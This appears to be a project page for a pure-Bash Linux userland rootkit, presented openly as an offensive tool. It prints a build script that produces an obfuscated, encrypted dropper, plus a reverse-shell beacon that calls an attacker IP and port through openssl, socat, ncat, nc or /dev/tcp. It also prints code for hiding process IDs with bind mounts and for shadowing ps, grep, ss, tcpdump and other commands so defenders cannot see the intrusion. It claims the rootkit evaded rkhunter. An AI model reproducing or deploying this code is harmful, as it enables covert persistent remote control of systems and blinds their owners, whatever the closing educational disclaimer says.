// living off the land · bash · linux internals

bash‑rootkit

Living off the land: a pure-Bash userland rootkit — no compiled binaries, no kernel modules. Persists as an encrypted reverse-shell beacon, hides its own PID, and shadows common system commands to blind the defender using only tools already on the box._

Bash Linux Reverse Shell PID Hiding Command Shadowing In-Memory Exec

What is this?

A fully self-contained userland rootkit written in pure Bash — no compiled code, no kernel exploits. Everything runs using tools already present on a stock Linux system. Pure living off the land.

Three layers: a beacon that maintains a persistent reverse shell with a full connection fallback chain, shadowed shell functions that masquerade as real Linux commands, and THC Bincrypter for in-memory-only execution. Everything is assembled by a single ./setup.sh into a ready-to-serve dropper.sh.

📡

Persistent Beacon

Loops forever, reconnects on disconnect. Process name spoofed to look like a kernel worker thread.

👻

PID Hiding

Bind-mounts an empty /dev/shm dir over the process's own /proc/PID entry.

🪞

Command Shadowing

Overrides ls, ps, grep, mount, tcpdump and more — filtering out all evidence.

🔒

In-Memory Only

After Bincrypter obfuscation, the script decrypts and executes entirely in memory.

./setup.sh

Everything is assembled by a single script. Prompts for IP and PORT, patches all templates, obfuscates the functions, encrypts the beacon, and outputs a single ready-to-serve dropper.sh.

STEP 01

Patch Templates

Copies *.blank templates and sed-patches IP, PORT, and persistence path into real_beacon and final_functions.

STEP 02

Obfuscate Functions

function_obfuscater.sh hex-encodes the shadow functions into shuffled MD5-length variable chunks, injected at the EFUNCTIONS marker in dropper.sh.

STEP 03

Encrypt Beacon

THC Bincrypter encrypts real_beacon, base64 embeds it at the MFUNCTIONS marker. In-memory execution only — no cleartext on disk.

setup.sh — full pipeline
# Patch templates
sed -i "s/IP/$IP/g"     real_beacon
sed -i "s/PORT/$PORT/g" real_beacon
sed -i "s/PORT/$PORT/g" final_functions
sed -i "s/PATH/$Path/g"  final_functions  # default: /usr/lib64/libda-5.3.so

# Obfuscate functions → inject at EFUNCTIONS marker
./function_obfuscater.sh "userIDs" 18 "final_functions" "y" "m" "2" > /tmp/obf_out.txt
sed -i "/EFUNCTIONS/r /tmp/obf_out.txt" dropper.sh
sed -i "/EFUNCTIONS/d" dropper.sh

# Encrypt beacon → base64 → inject at MFUNCTIONS marker
cp real_beacon bad && ./bincrypter.sh bad
base64 bad > /tmp/obf_out.txt
awk '
    FILENAME == "/tmp/obf_out.txt" { obf = obf $0 "\n"; next }
    { gsub(/MFUNCTIONS/, obf); print }
' /tmp/obf_out.txt dropper.sh > /tmp/result.sh && mv /tmp/result.sh dropper.sh

# Serve it
python -m http.server 8080
curl <ip>:8080/dropper.sh -O

real_beacon

The core loop. Hides every spawned PID via mtab(), uses a randomized named pipe in /dev/shm, and tries each available connection tool in order — working on almost any stock Linux system without extra packages.

real_beacon — connection fallback chain
PIPE="/dev/shm/.cache_$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 8)"
mkfifo "$PIPE"

if command -v openssl &>/dev/null; then
    ( /bin/bash < $PIPE 2>&1 | openssl s_client -quiet -connect $IP:$PORT > $PIPE ) &
elif command -v socat &>/dev/null; then
    ( socat OPENSSL:$IP:$PORT,verify=0 EXEC:/bin/bash ) &
elif command -v ncat &>/dev/null; then
    ( /bin/bash < $PIPE 2>&1 | ncat --ssl $IP $PORT > $PIPE ) &
elif command -v nc &>/dev/null; then
    ( cat $PIPE | /bin/bash 2>&1 | nc $IP $PORT > $PIPE ) &
else
    ( /bin/bash >& /dev/tcp/$IP/$PORT 0>&1 ) &  # pure bash fallback
fi

pid=$!
pids="$pid $(pgrep -P $pid)"
for i in $pids; do mtab $i; done

Cleanup via trap on EXIT / SIGINT / SIGTERM — unmounts all /dev/shm bind-mounts and kills background jobs on demand.

final_functions

Every common detection tool is overridden with a Bash function that calls the real binary but pipes output through grep -Ev "$_HG_P" — stripping any line matching the rootkit's fingerprint pattern. Tab-completion is preserved via $COMP_LINE checks. The persistence path and C2 port are patched into _HG_P by setup.sh at build time.

CommandTechniqueWhat it hides
busyboxSubcmd routerRoutes all subcommands through hooked functions — defeats busybox-as-clean-binary bypass
lsBash fn + -I flagsHidden files & empty /proc entries for masked PIDs
ps / pgrep / top / htopMounted over by mtab()Rootkit processes
grep / head / tail / catPipe ∣ grep -Ev $_HG_PAny line containing rootkit indicators
mount / findmntOutput filter/proc and /dev/shm bind-mounts
tcpdumpAuto-inject BPF filterC2 port from all captures
ss / netstatPattern-filtered outputC2 port connection
lsof / stracePattern-filtered outputOpen FDs and syscalls related to the beacon
set / declare / typesetAWK block-skip parserShadow function definitions from variable dumps
env / printenv / exportAWK + grep filter_HG_P env var & BASH_FUNC_* exports
type / whichHardcoded case statementsReturns fake binary paths for shadowed commands
unset / builtinGuard wrapperSilently fails if called against any hooked function
final_functions — examples
# Port and persistence path patched in by setup.sh
command export _HG_P="grep|ps|mount|PORT|/proc/|hidepid|PATH|..."

grep() {
  [[ -n "$COMP_LINE" ]] && { command $(which grep) "$@"; return; }
  command $(which grep) "$@" | _filter_output
}

# Absolute path calls also intercepted — registered at load time
for cmd in grep ls mount ss netstat tcpdump ...; do
  path=$(which $cmd)
  eval "function $path { $cmd \"\$@\"; }"
done

# busybox — routes subcommands through hooked functions
busybox() {
  local subcmd="$1"; shift
  for w in grep ls mount ss netstat ...; do
    [[ "$subcmd" == "$w" ]] && { "$subcmd" "$@"; return; }
  done
  command busybox "$subcmd" "$@"
}

THC Bincrypter + function_obfuscater.sh

Two tools handle obfuscation. function_obfuscater.sh converts the shadow functions into shuffled MD5-length hex variable chunks — a static scan sees hash-like noise and a generic loader one-liner. The beacon is packed with THC Bincrypter: encrypted, compressed, and base64-embedded into dropper.sh.

🧩

Functions — MD5 camouflage

Hex-encoded and split into 32-char chunks resembling MD5 update variables. Shuffled. Reassembled at load time via xxd -r -p.

🧠

Beacon — in-memory only

Bincrypter wraps the beacon in a self-decrypting stub. Cleartext payload lives only in RAM — no forensic disk image recovers it.

🔀

Morphing signatures

Bincrypter produces a different signature on every run, defeating static AV detection.

Detection results

Tested locally against common tools. All three layers active during testing.

🐉

Kali Linux

Tested on a local Kali VM. Process hidden from ps, top, htop. Connection invisible to ss, netstat, tcpdump.

🖥️

CentOS 7

All three layers confirmed working on a CentOS 7 system.

rkhunter 1.4.6

Not detected on either system.

⚠  This project is shared strictly for educational and research purposes. Understanding offensive techniques is essential for building robust defences. Do not deploy this on any system you do not own or have explicit written permission to test. The author assumes no liability for misuse.